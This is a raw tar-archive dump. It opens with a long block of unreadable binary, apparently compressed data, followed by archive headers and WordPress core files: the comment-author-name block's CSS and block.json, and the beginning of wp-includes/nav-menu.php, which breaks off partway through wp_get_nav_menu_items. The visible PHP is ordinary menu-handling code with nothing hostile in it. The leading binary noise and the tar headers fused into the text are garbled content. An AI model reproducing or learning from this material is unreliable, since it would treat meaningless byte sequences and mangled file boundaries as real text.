li���6U(������"V�<̞aշ_k�vx�S���j�b� �~��|��}�ƊTo�t�|�����R�_�E.�+�rQm��V�N�`�l�햸�A�ٶ��Qnk$��Cuc�M�V)�1�x�Cw��
x~ �!�+.��5T���E��`�Jmv�Z�ڍH�(o(<�ʁbojk��M���FB��x�&[����I��vϨT�0�H����U���Q>G���N��$���Yv��v�'�F�Q4aM�~St����EX�7kv�Z �t�r�)��& &WcE�5�y��$����%l"�S�g�>z�X�:<^��lnF���$����Q�z��0������d��I��oR4P�R(�����y�Ng�#ʑ�[�
�>У2��y���H����oP׼�A�_4���'�ĺ��t��_��'s��L��u��b�BO���%�U�\P����i�I�*�v�\1C���ћ��=^��Q�Y���x;��%e� yU'M;�;�O��l����$�m��Ji�#m*�e�WMR�3��/��� ����mK�����M���&ˏ�g�j��OS8����#F�Is��Q6��:qґz��I�<葙��1_�ғf�
ƌP��%����`��
�]jNЯE��qD�*��ڍ2�W_*Ǥ��0�`6\�W�7�l	,~�r�m�do=t�@��A#�a�:��)�������wSa7s��l�:8�,��Q�����0�}�j_�M:WX����V>��w#7����N�g�C[,��痿�L<Ð�H�ԪW��m����c��k���[
٧��>R	�봦�Q}�y{�]���>Z^5In�N��R������Ԛ���`���T@�8uo�r���$�[7����Q���T+��0/[B2i��nv��ǰ`]h�տ'�ŀ�;�Q�>J�(]�(�����ϰ���VL"nn������T8��Mf�b).CӞiZ��6��4��l��&t�
���X�c�ݺ��7��������ڸ[pz��dSv�g�zp����\����Q_�@v�����s4ӯ�)�1}4�,��VE�2��r����&�G��b%Z/�E:�.�ENy�lT�M�P����^���d�e��X��)w�R\�r�u�9��UE������ux���08ʺa� <�9j+A�f�/E�6$�5�=�/�!����q���po�~�Z���R����M2^�!��zk��OYu��N��$��JcTp�4�W�M������e���Z���	�+l����ғ�	���b���@/e���o���lN���]T�23Wղ��H�\�\iN7�r&�a�L���FȦ9�+x.�0�a2=EdӾ�q��}=�OI2ۍs���@6�M�����1��OpVX��t���T��%�u�yv�������~�|+ĉ((�s��?/:�M�#B�»�AsS��?�ˈ�
s�_ݱ��0���'�d��,�tM"뙅8?m �]�XC�ϝ�cq�ѐ������)8�
>��qe�-��������7j�b����YV̱( o�F&�����2(D�ك
c
(��tNIQ1�-S_��(��&lU4�5�?
Me�\�J��ec�c�	�֩5�p���|�8�Ҏ`N�K�T��
G�$D��Rʖ�-�nսh��]]���8��'V��`���yF�:��o.MD?�x}�H�7J"�_���Z�-U&I��dK��7�)�b6��:=�N|�K��%�8����-�	5�N��Ϋ����G���3̩m��/�GO}$����%=3�]r���<�:3盹e�᮸f
�?7c��X�҂��lS�{�
��F~P�/��l��S�Z�_�*�!Z7���*�JF�&�]�b-���W��i(�
֦�d\�jR#�Įg�9f��8N��P�&`�2��N�3��8�.����au�-�ngr.����ό���M��CD�*�U�m@~��P��@]��"�o	z���,�@���M����ϙ��p��RU���}�R;a��<˨�E����������}Ǎ��c��7��~BG�a��Hh�j�Ja�����NF��z-��z�Rߦ��E~)�n-Y�ݏ��{�j�6.Npr�,��hwY�*�����ϱ>9D�N=Âm�"`�=�	�y��9]��P*,x�~�b${gG	&��Q:\��F�v��H������F��=�]�e�?�&�f���6���Z�eԡUe��}�H"�e�T�E[]h&/���hI�啚0a�C�f^iS_H:xߒ&�$*"��iеC���Z�n��d��?G�x�j�4�z���sےBu�� *�T��v�8c��iUE�bQ�߇'�I��1^G�(b��t��@i
�p}��ק1��%�L�Hc�%�g��')2Dj����cr�3���8ǜ�䨺�/�j:�#=-O��_L��z+���,�$����-��"QO�rm5��jE���Z�������;d:�<�c�BG���V�����5e�(_�"�~���x) +�?"��~W��X ��^N���b֮�d��hW�;r��>���Sv�Ƥw0>l��W�-�Q���o۫&�C�ibQ�~N��6��+�=&#�N�¶�{�������_�R+�A��DT��
RB"�P��E�&�P'�ֹ��{�;����f�Z*e ������=��ܒ����Q���I�#[&idu�}���,��ceo��I�XwG��$N��3��5��֙:V�Re��1ZĎ�F0E�n�x윝���s��#���<�q��r����e��3�Tɂ����*��2���}�����o��*��؇�]�����^KUF(�
f#�D���ew�2�#;j*���8��Ń�YSC�6נV���iG�J�$zwkw�8���͗"Q��������t!Z�6T'�1��F�2
��[�xc2�"�T�\���~�Dʵ{?�?|p�����Rt#D�
t�`�NK@�~�I���B/�#��x�/�bX�4�i�tW�~;�l5�x�7���ʳ�r�����{��P�D�>�Y��£A��Yua??zk�\��MC6p!m(�,8���uL-�D�l'P��얬@�ơ
�qɛƐ�r�7@��V���fPN�΋dG��I$`��Y>��aV�#>������CAJ�^�Iw��vƇU��Vk�����z	���h��0�K&�hN	�x����Ί}��XU�C���[򯏸�������.���#����_�<��`
�^2W�G�������:=���3l�aWe�GYoe�}���Q�şsYi�����0{'n6��uo��(F��k�&��+�����tj+1����(�WSДѥ�P >�ߕ�W �6#�+�#&ٜǩzqv:�:���na��
ЫuO:�L��.�ܖz���Y���C��9PԵa>cO��y����������&��K�9#��'�q�vi�Hp&!a���(�e���`�����p���<G&E!�n���
$�LqN���t��%bQ���8�8�-]]d��Y��+!I���"�v��hT�p%Hh�q.4Z%��/EAt��|Ӵ�6�"f�j����
Ʊ��N����S����N��0�]-&�-r-mN�V"��WRՈvo�b�ǀ��ٲ�4P;���:~zb}�z~���]���8P�1Xbt3�{����\���,�F��I��,�(3��XR��cD�^�����_�
5���2��Pv��α.VM15u؀�*Ŗʼr^jE�!q�$��9ݰSm�U<i��������<��b�����.�C�s	�4ᝂ��yѼ�Q��E��P�o F�5|�t�m&I�c��f�y[K/�M���'�����:;9~ip5,�}Bz�Op_�c�-���P��ɞ���\9X��=�G�S_��qꙏp!�r�p�!
9tY��ӓ\�d�
�>��b���Bn���n��uۣ�/(��"�M?�>s�Q��,����b�-�\"�x}87p�����[��]��Ҋ��\��kkw���H�ZA*t;���8�`������Ő`�����*�|���M��z�T2��E��U��|� �,&��7v}������R[�\Vl a{ͽ��~fmz
�-a��2�LJ��]�����f��#����Щ�I���%3�������y��"�vk��E��X5��^��G�I��X.zp%�0q��}ױ�� �4M9V�Y���q}),0�Y�T�!M��凜^1�U��%�k��N��#Qtf�:�5�:��+i���kn�H�d��W/xEJ��Ý�������Ǒd0��5�'�fB~�D��ik<�dzu{03%�S��ۓ�^>�9�0X��²h)j�{J��q4�5c�����}��M`�������5׉j�⧹AA���Ÿ�r2k����r�fC�G���zMͻ�������V/����rzz�����L�PK�Q�ʸ�Y��@�����$���Ԃ�`��Zk� S��L�jAo�%��@�i��U}8����y�)�0X�
~�N#3p�&�#/�2$=�w4��k	�'pl�2�d�������2r���������epu��$�.���D��Y(%��!A8�ͫ�)1N֯�>壃>Û\x�r`���a�ĥa
X˟�Z�C��_i��D�j�T�]�'"�)�N�\}׻Fl�>P��n�Us��=�V��0K���,}�x�|Ϙ��@A�-����,����C��Z���)��i���.M#���:��
��/��7�8��@~Cn�$�G_
�����5�[4�Xo�)u��^���H�h(���a�a,�����9Z�u��S����ĺK�`S�#h>�1T�N�7_���ҕFϏ͂��r�b�����1�><�
��M��}�<��}n���K?�~�E��14338/comment-author-name.tar000064400000016000151024420100011600 0ustar00style-rtl.min.css000064400000000064151024244440007777 0ustar00.wp-block-comment-author-name{box-sizing:border-box}style.min.css000064400000000064151024244440007200 0ustar00.wp-block-comment-author-name{box-sizing:border-box}block.json000064400000002663151024244440006540 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-author-name",
	"title": "Comment Author Name",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays the name of the author of the comment.",
	"textdomain": "default",
	"attributes": {
		"isLink": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"usesContext": [ "commentId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"style": "wp-block-comment-author-name"
}
style-rtl.css000064400000000071151024244440007213 0ustar00.wp-block-comment-author-name{
  box-sizing:border-box;
}style.css000064400000000071151024244440006414 0ustar00.wp-block-comment-author-name{
  box-sizing:border-box;
}14338/nav-menu.php.tar000064400000132000151024420100010233 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/nav-menu.php000064400000126525151024204120023615 0ustar00<?php
/**
 * Navigation Menu functions
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/**
 * Returns a navigation menu object.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @return WP_Term|false Menu object on success, false if $menu param isn't supplied or term does not exist.
 */
function wp_get_nav_menu_object( $menu ) {
	$menu_obj = false;

	if ( is_object( $menu ) ) {
		$menu_obj = $menu;
	}

	if ( $menu && ! $menu_obj ) {
		$menu_obj = get_term( $menu, 'nav_menu' );

		if ( ! $menu_obj ) {
			$menu_obj = get_term_by( 'slug', $menu, 'nav_menu' );
		}

		if ( ! $menu_obj ) {
			$menu_obj = get_term_by( 'name', $menu, 'nav_menu' );
		}
	}

	if ( ! $menu_obj || is_wp_error( $menu_obj ) ) {
		$menu_obj = false;
	}

	/**
	 * Filters the nav_menu term retrieved for wp_get_nav_menu_object().
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Term|false      $menu_obj Term from nav_menu taxonomy, or false if nothing had been found.
	 * @param int|string|WP_Term $menu     The menu ID, slug, name, or object passed to wp_get_nav_menu_object().
	 */
	return apply_filters( 'wp_get_nav_menu_object', $menu_obj, $menu );
}

/**
 * Determines whether the given ID is a navigation menu.
 *
 * Returns true if it is; false otherwise.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object of menu to check.
 * @return bool Whether the menu exists.
 */
function is_nav_menu( $menu ) {
	if ( ! $menu ) {
		return false;
	}

	$menu_obj = wp_get_nav_menu_object( $menu );

	if (
		$menu_obj &&
		! is_wp_error( $menu_obj ) &&
		! empty( $menu_obj->taxonomy ) &&
		'nav_menu' === $menu_obj->taxonomy
	) {
		return true;
	}

	return false;
}

/**
 * Registers navigation menu locations for a theme.
 *
 * @since 3.0.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @param string[] $locations Associative array of menu location identifiers (like a slug) and descriptive text.
 */
function register_nav_menus( $locations = array() ) {
	global $_wp_registered_nav_menus;

	add_theme_support( 'menus' );

	foreach ( $locations as $key => $value ) {
		if ( is_int( $key ) ) {
			_doing_it_wrong( __FUNCTION__, __( 'Nav menu locations must be strings.' ), '5.3.0' );
			break;
		}
	}

	$_wp_registered_nav_menus = array_merge( (array) $_wp_registered_nav_menus, $locations );
}

/**
 * Unregisters a navigation menu location for a theme.
 *
 * @since 3.1.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @param string $location The menu location identifier.
 * @return bool True on success, false on failure.
 */
function unregister_nav_menu( $location ) {
	global $_wp_registered_nav_menus;

	if ( is_array( $_wp_registered_nav_menus ) && isset( $_wp_registered_nav_menus[ $location ] ) ) {
		unset( $_wp_registered_nav_menus[ $location ] );
		if ( empty( $_wp_registered_nav_menus ) ) {
			_remove_theme_support( 'menus' );
		}
		return true;
	}
	return false;
}

/**
 * Registers a navigation menu location for a theme.
 *
 * @since 3.0.0
 *
 * @param string $location    Menu location identifier, like a slug.
 * @param string $description Menu location descriptive text.
 */
function register_nav_menu( $location, $description ) {
	register_nav_menus( array( $location => $description ) );
}
/**
 * Retrieves all registered navigation menu locations in a theme.
 *
 * @since 3.0.0
 *
 * @global array $_wp_registered_nav_menus
 *
 * @return string[] Associative array of registered navigation menu descriptions keyed
 *                  by their location. If none are registered, an empty array.
 */
function get_registered_nav_menus() {
	global $_wp_registered_nav_menus;
	if ( isset( $_wp_registered_nav_menus ) ) {
		return $_wp_registered_nav_menus;
	}
	return array();
}

/**
 * Retrieves all registered navigation menu locations and the menus assigned to them.
 *
 * @since 3.0.0
 *
 * @return int[] Associative array of registered navigation menu IDs keyed by their
 *               location name. If none are registered, an empty array.
 */
function get_nav_menu_locations() {
	$locations = get_theme_mod( 'nav_menu_locations' );
	return ( is_array( $locations ) ) ? $locations : array();
}

/**
 * Determines whether a registered nav menu location has a menu assigned to it.
 *
 * @since 3.0.0
 *
 * @param string $location Menu location identifier.
 * @return bool Whether location has a menu.
 */
function has_nav_menu( $location ) {
	$has_nav_menu = false;

	$registered_nav_menus = get_registered_nav_menus();
	if ( isset( $registered_nav_menus[ $location ] ) ) {
		$locations    = get_nav_menu_locations();
		$has_nav_menu = ! empty( $locations[ $location ] );
	}

	/**
	 * Filters whether a nav menu is assigned to the specified location.
	 *
	 * @since 4.3.0
	 *
	 * @param bool   $has_nav_menu Whether there is a menu assigned to a location.
	 * @param string $location     Menu location.
	 */
	return apply_filters( 'has_nav_menu', $has_nav_menu, $location );
}

/**
 * Returns the name of a navigation menu.
 *
 * @since 4.9.0
 *
 * @param string $location Menu location identifier.
 * @return string Menu name.
 */
function wp_get_nav_menu_name( $location ) {
	$menu_name = '';

	$locations = get_nav_menu_locations();

	if ( isset( $locations[ $location ] ) ) {
		$menu = wp_get_nav_menu_object( $locations[ $location ] );

		if ( $menu && $menu->name ) {
			$menu_name = $menu->name;
		}
	}

	/**
	 * Filters the navigation menu name being returned.
	 *
	 * @since 4.9.0
	 *
	 * @param string $menu_name Menu name.
	 * @param string $location  Menu location identifier.
	 */
	return apply_filters( 'wp_get_nav_menu_name', $menu_name, $location );
}

/**
 * Determines whether the given ID is a nav menu item.
 *
 * @since 3.0.0
 *
 * @param int $menu_item_id The ID of the potential nav menu item.
 * @return bool Whether the given ID is that of a nav menu item.
 */
function is_nav_menu_item( $menu_item_id = 0 ) {
	return ( ! is_wp_error( $menu_item_id ) && ( 'nav_menu_item' === get_post_type( $menu_item_id ) ) );
}

/**
 * Creates a navigation menu.
 *
 * Note that `$menu_name` is expected to be pre-slashed.
 *
 * @since 3.0.0
 *
 * @param string $menu_name Menu name.
 * @return int|WP_Error Menu ID on success, WP_Error object on failure.
 */
function wp_create_nav_menu( $menu_name ) {
	// expected_slashed ($menu_name)
	return wp_update_nav_menu_object( 0, array( 'menu-name' => $menu_name ) );
}

/**
 * Deletes a navigation menu.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @return bool|WP_Error True on success, false or WP_Error object on failure.
 */
function wp_delete_nav_menu( $menu ) {
	$menu = wp_get_nav_menu_object( $menu );
	if ( ! $menu ) {
		return false;
	}

	$menu_objects = get_objects_in_term( $menu->term_id, 'nav_menu' );
	if ( ! empty( $menu_objects ) ) {
		foreach ( $menu_objects as $item ) {
			wp_delete_post( $item );
		}
	}

	$result = wp_delete_term( $menu->term_id, 'nav_menu' );

	// Remove this menu from any locations.
	$locations = get_nav_menu_locations();
	foreach ( $locations as $location => $menu_id ) {
		if ( $menu_id === $menu->term_id ) {
			$locations[ $location ] = 0;
		}
	}
	set_theme_mod( 'nav_menu_locations', $locations );

	if ( $result && ! is_wp_error( $result ) ) {

		/**
		 * Fires after a navigation menu has been successfully deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param int $term_id ID of the deleted menu.
		 */
		do_action( 'wp_delete_nav_menu', $menu->term_id );
	}

	return $result;
}

/**
 * Saves the properties of a menu or create a new menu with those properties.
 *
 * Note that `$menu_data` is expected to be pre-slashed.
 *
 * @since 3.0.0
 *
 * @param int   $menu_id   The ID of the menu or "0" to create a new menu.
 * @param array $menu_data The array of menu data.
 * @return int|WP_Error Menu ID on success, WP_Error object on failure.
 */
function wp_update_nav_menu_object( $menu_id = 0, $menu_data = array() ) {
	// expected_slashed ($menu_data)
	$menu_id = (int) $menu_id;

	$_menu = wp_get_nav_menu_object( $menu_id );

	$args = array(
		'description' => ( isset( $menu_data['description'] ) ? $menu_data['description'] : '' ),
		'name'        => ( isset( $menu_data['menu-name'] ) ? $menu_data['menu-name'] : '' ),
		'parent'      => ( isset( $menu_data['parent'] ) ? (int) $menu_data['parent'] : 0 ),
		'slug'        => null,
	);

	// Double-check that we're not going to have one menu take the name of another.
	$_possible_existing = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );
	if (
		$_possible_existing &&
		! is_wp_error( $_possible_existing ) &&
		isset( $_possible_existing->term_id ) &&
		$_possible_existing->term_id !== $menu_id
	) {
		return new WP_Error(
			'menu_exists',
			sprintf(
				/* translators: %s: Menu name. */
				__( 'The menu name %s conflicts with another menu name. Please try another.' ),
				'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
			)
		);
	}

	// Menu doesn't already exist, so create a new menu.
	if ( ! $_menu || is_wp_error( $_menu ) ) {
		$menu_exists = get_term_by( 'name', $menu_data['menu-name'], 'nav_menu' );

		if ( $menu_exists ) {
			return new WP_Error(
				'menu_exists',
				sprintf(
					/* translators: %s: Menu name. */
					__( 'The menu name %s conflicts with another menu name. Please try another.' ),
					'<strong>' . esc_html( $menu_data['menu-name'] ) . '</strong>'
				)
			);
		}

		$_menu = wp_insert_term( $menu_data['menu-name'], 'nav_menu', $args );

		if ( is_wp_error( $_menu ) ) {
			return $_menu;
		}

		/**
		 * Fires after a navigation menu is successfully created.
		 *
		 * @since 3.0.0
		 *
		 * @param int   $term_id   ID of the new menu.
		 * @param array $menu_data An array of menu data.
		 */
		do_action( 'wp_create_nav_menu', $_menu['term_id'], $menu_data );

		return (int) $_menu['term_id'];
	}

	if ( ! $_menu || ! isset( $_menu->term_id ) ) {
		return 0;
	}

	$menu_id = (int) $_menu->term_id;

	$update_response = wp_update_term( $menu_id, 'nav_menu', $args );

	if ( is_wp_error( $update_response ) ) {
		return $update_response;
	}

	$menu_id = (int) $update_response['term_id'];

	/**
	 * Fires after a navigation menu has been successfully updated.
	 *
	 * @since 3.0.0
	 *
	 * @param int   $menu_id   ID of the updated menu.
	 * @param array $menu_data An array of menu data.
	 */
	do_action( 'wp_update_nav_menu', $menu_id, $menu_data );
	return $menu_id;
}

/**
 * Saves the properties of a menu item or create a new one.
 *
 * The menu-item-title, menu-item-description and menu-item-attr-title are expected
 * to be pre-slashed since they are passed directly to APIs that expect slashed data.
 *
 * @since 3.0.0
 * @since 5.9.0 Added the `$fire_after_hooks` parameter.
 *
 * @param int   $menu_id          The ID of the menu. If 0, makes the menu item a draft orphan.
 * @param int   $menu_item_db_id  The ID of the menu item. If 0, creates a new menu item.
 * @param array $menu_item_data   The menu item's data.
 * @param bool  $fire_after_hooks Whether to fire the after insert hooks. Default true.
 * @return int|WP_Error The menu item's database ID or WP_Error object on failure.
 */
function wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array(), $fire_after_hooks = true ) {
	$menu_id         = (int) $menu_id;
	$menu_item_db_id = (int) $menu_item_db_id;

	// Make sure that we don't convert non-nav_menu_item objects into nav_menu_item objects.
	if ( ! empty( $menu_item_db_id ) && ! is_nav_menu_item( $menu_item_db_id ) ) {
		return new WP_Error( 'update_nav_menu_item_failed', __( 'The given object ID is not that of a menu item.' ) );
	}

	$menu = wp_get_nav_menu_object( $menu_id );

	if ( ! $menu && 0 !== $menu_id ) {
		return new WP_Error( 'invalid_menu_id', __( 'Invalid menu ID.' ) );
	}

	if ( is_wp_error( $menu ) ) {
		return $menu;
	}

	$defaults = array(
		'menu-item-db-id'         => $menu_item_db_id,
		'menu-item-object-id'     => 0,
		'menu-item-object'        => '',
		'menu-item-parent-id'     => 0,
		'menu-item-position'      => 0,
		'menu-item-type'          => 'custom',
		'menu-item-title'         => '',
		'menu-item-url'           => '',
		'menu-item-description'   => '',
		'menu-item-attr-title'    => '',
		'menu-item-target'        => '',
		'menu-item-classes'       => '',
		'menu-item-xfn'           => '',
		'menu-item-status'        => '',
		'menu-item-post-date'     => '',
		'menu-item-post-date-gmt' => '',
	);

	$args = wp_parse_args( $menu_item_data, $defaults );

	if ( 0 === $menu_id ) {
		$args['menu-item-position'] = 1;
	} elseif ( 0 === (int) $args['menu-item-position'] ) {
		$menu_items = array();

		if ( 0 !== $menu_id ) {
			$menu_items = (array) wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
		}

		$last_item = array_pop( $menu_items );

		if ( $last_item && isset( $last_item->menu_order ) ) {
			$args['menu-item-position'] = 1 + $last_item->menu_order;
		} else {
			$args['menu-item-position'] = count( $menu_items );
		}
	}

	$original_parent = 0 < $menu_item_db_id ? get_post_field( 'post_parent', $menu_item_db_id ) : 0;

	if ( 'custom' === $args['menu-item-type'] ) {
		// If custom menu item, trim the URL.
		$args['menu-item-url'] = trim( $args['menu-item-url'] );
	} else {
		/*
		 * If non-custom menu item, then:
		 * - use the original object's URL.
		 * - blank default title to sync with the original object's title.
		 */

		$args['menu-item-url'] = '';

		$original_title = '';

		if ( 'taxonomy' === $args['menu-item-type'] ) {
			$original_object = get_term( $args['menu-item-object-id'], $args['menu-item-object'] );

			if ( $original_object instanceof WP_Term ) {
				$original_parent = get_term_field( 'parent', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
				$original_title  = get_term_field( 'name', $args['menu-item-object-id'], $args['menu-item-object'], 'raw' );
			}
		} elseif ( 'post_type' === $args['menu-item-type'] ) {
			$original_object = get_post( $args['menu-item-object-id'] );

			if ( $original_object instanceof WP_Post ) {
				$original_parent = (int) $original_object->post_parent;
				$original_title  = $original_object->post_title;
			}
		} elseif ( 'post_type_archive' === $args['menu-item-type'] ) {
			$original_object = get_post_type_object( $args['menu-item-object'] );

			if ( $original_object instanceof WP_Post_Type ) {
				$original_title = $original_object->labels->archives;
			}
		}

		if ( wp_unslash( $args['menu-item-title'] ) === wp_specialchars_decode( $original_title ) ) {
			$args['menu-item-title'] = '';
		}

		// Hack to get wp to create a post object when too many properties are empty.
		if ( '' === $args['menu-item-title'] && '' === $args['menu-item-description'] ) {
			$args['menu-item-description'] = ' ';
		}
	}

	// Populate the menu item object.
	$post = array(
		'menu_order'   => $args['menu-item-position'],
		'ping_status'  => 0,
		'post_content' => $args['menu-item-description'],
		'post_excerpt' => $args['menu-item-attr-title'],
		'post_parent'  => $original_parent,
		'post_title'   => $args['menu-item-title'],
		'post_type'    => 'nav_menu_item',
	);

	$post_date = wp_resolve_post_date( $args['menu-item-post-date'], $args['menu-item-post-date-gmt'] );
	if ( $post_date ) {
		$post['post_date'] = $post_date;
	}

	$update = 0 !== $menu_item_db_id;

	// New menu item. Default is draft status.
	if ( ! $update ) {
		$post['ID']          = 0;
		$post['post_status'] = 'publish' === $args['menu-item-status'] ? 'publish' : 'draft';
		$menu_item_db_id     = wp_insert_post( $post, true, $fire_after_hooks );
		if ( ! $menu_item_db_id || is_wp_error( $menu_item_db_id ) ) {
			return $menu_item_db_id;
		}

		/**
		 * Fires immediately after a new navigation menu item has been added.
		 *
		 * @since 4.4.0
		 *
		 * @see wp_update_nav_menu_item()
		 *
		 * @param int   $menu_id         ID of the updated menu.
		 * @param int   $menu_item_db_id ID of the new menu item.
		 * @param array $args            An array of arguments used to update/add the menu item.
		 */
		do_action( 'wp_add_nav_menu_item', $menu_id, $menu_item_db_id, $args );
	}

	/*
	 * Associate the menu item with the menu term.
	 * Only set the menu term if it isn't set to avoid unnecessary wp_get_object_terms().
	 */
	if ( $menu_id && ( ! $update || ! is_object_in_term( $menu_item_db_id, 'nav_menu', (int) $menu->term_id ) ) ) {
		$update_terms = wp_set_object_terms( $menu_item_db_id, array( $menu->term_id ), 'nav_menu' );
		if ( is_wp_error( $update_terms ) ) {
			return $update_terms;
		}
	}

	if ( 'custom' === $args['menu-item-type'] ) {
		$args['menu-item-object-id'] = $menu_item_db_id;
		$args['menu-item-object']    = 'custom';
	}

	$menu_item_db_id = (int) $menu_item_db_id;

	// Reset invalid `menu_item_parent`.
	if ( (int) $args['menu-item-parent-id'] === $menu_item_db_id ) {
		$args['menu-item-parent-id'] = 0;
	}

	update_post_meta( $menu_item_db_id, '_menu_item_type', sanitize_key( $args['menu-item-type'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_menu_item_parent', (string) ( (int) $args['menu-item-parent-id'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_object_id', (string) ( (int) $args['menu-item-object-id'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_object', sanitize_key( $args['menu-item-object'] ) );
	update_post_meta( $menu_item_db_id, '_menu_item_target', sanitize_key( $args['menu-item-target'] ) );

	$args['menu-item-classes'] = array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-classes'] ) );
	$args['menu-item-xfn']     = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['menu-item-xfn'] ) ) );
	update_post_meta( $menu_item_db_id, '_menu_item_classes', $args['menu-item-classes'] );
	update_post_meta( $menu_item_db_id, '_menu_item_xfn', $args['menu-item-xfn'] );
	update_post_meta( $menu_item_db_id, '_menu_item_url', sanitize_url( $args['menu-item-url'] ) );

	if ( 0 === $menu_id ) {
		update_post_meta( $menu_item_db_id, '_menu_item_orphaned', (string) time() );
	} elseif ( get_post_meta( $menu_item_db_id, '_menu_item_orphaned' ) ) {
		delete_post_meta( $menu_item_db_id, '_menu_item_orphaned' );
	}

	// Update existing menu item. Default is publish status.
	if ( $update ) {
		$post['ID']          = $menu_item_db_id;
		$post['post_status'] = ( 'draft' === $args['menu-item-status'] ) ? 'draft' : 'publish';

		$update_post = wp_update_post( $post, true );
		if ( is_wp_error( $update_post ) ) {
			return $update_post;
		}
	}

	/**
	 * Fires after a navigation menu item has been updated.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param int   $menu_id         ID of the updated menu.
	 * @param int   $menu_item_db_id ID of the updated menu item.
	 * @param array $args            An array of arguments used to update a menu item.
	 */
	do_action( 'wp_update_nav_menu_item', $menu_id, $menu_item_db_id, $args );

	return $menu_item_db_id;
}

/**
 * Returns all navigation menu objects.
 *
 * @since 3.0.0
 * @since 4.1.0 Default value of the 'orderby' argument was changed from 'none'
 *              to 'name'.
 *
 * @param array $args Optional. Array of arguments passed on to get_terms().
 *                    Default empty array.
 * @return WP_Term[] An array of menu objects.
 */
function wp_get_nav_menus( $args = array() ) {
	$defaults = array(
		'taxonomy'   => 'nav_menu',
		'hide_empty' => false,
		'orderby'    => 'name',
	);
	$args     = wp_parse_args( $args, $defaults );

	/**
	 * Filters the navigation menu objects being returned.
	 *
	 * @since 3.0.0
	 *
	 * @see get_terms()
	 *
	 * @param WP_Term[] $menus An array of menu objects.
	 * @param array     $args  An array of arguments used to retrieve menu objects.
	 */
	return apply_filters( 'wp_get_nav_menus', get_terms( $args ), $args );
}

/**
 * Determines whether a menu item is valid.
 *
 * @link https://core.trac.wordpress.org/ticket/13958
 *
 * @since 3.2.0
 * @access private
 *
 * @param object $item The menu item to check.
 * @return bool False if invalid, otherwise true.
 */
function _is_valid_nav_menu_item( $item ) {
	return empty( $item->_invalid );
}

/**
 * Retrieves all menu items of a navigation menu.
 *
 * Note: Most arguments passed to the `$args` parameter – save for 'output_key' – are
 * specifically for retrieving nav_menu_item posts from get_posts() and may only
 * indirectly affect the ultimate ordering and content of the resulting nav menu
 * items that get returned from this function.
 *
 * @since 3.0.0
 *
 * @param int|string|WP_Term $menu Menu ID, slug, name, or object.
 * @param array              $args {
 *     Optional. Arguments to pass to get_posts().
 *
 *     @type string $order                  How to order nav menu items as queried with get_posts().
 *                                          Will be ignored if 'output' is ARRAY_A. Default 'ASC'.
 *     @type string $orderby                Field to order menu items by as retrieved from get_posts().
 *                                          Supply an orderby field via 'output_key' to affect the
 *                                          output order of nav menu items. Default 'menu_order'.
 *     @type string $post_type              Menu items post type. Default 'nav_menu_item'.
 *     @type string $post_status            Menu items post status. Default 'publish'.
 *     @type string $output                 How to order outputted menu items. Default ARRAY_A.
 *     @type string $output_key             Key to use for ordering the actual menu items that get
 *                                          returned. Note that that is not a get_posts() argument
 *                                          and will only affect output of menu items processed in
 *                                          this function. Default 'menu_order'.
 *     @type bool   $nopaging               Whether to retrieve all menu items (true) or paginate
 *                                          (false). Default true.
 *     @type bool   $update_menu_item_cache Whether to update the menu item cache. Default true.
 * }
 * @return array|false Array of menu items, otherwise false.
 */
function wp_get_nav_menu_items( $menu, $args = array() ) {
	$menu = wp_get_nav_menu_object( $menu );

	if ( ! $menu ) {
		return false;
	}

	if ( ! taxonomy_exists( 'nav_menu' ) ) {
		return false;
	}

	$defaults = array(
		'order'                  => 'ASC',
		'orderby'                => 'menu_order',
		'post_type'              => 'nav_menu_item',
		'post_status'            => 'publish',
		'output'                 => ARRAY_A,
		'output_key'             => 'menu_order',
		'nopaging'               => true,
		'update_menu_item_cache' => true,
		'tax_query'              => array(
			array(
				'taxonomy' => 'nav_menu',
				'field'    => 'term_taxonomy_id',
				'terms'    => $menu->term_taxonomy_id,
			),
		),
	);
	$args     = wp_parse_args( $args, $defaults );
	if ( $menu->count > 0 ) {
		$items = get_posts( $args );
	} else {
		$items = array();
	}

	$items = array_map( 'wp_setup_nav_menu_item', $items );

	if ( ! is_admin() ) { // Remove invalid items only on front end.
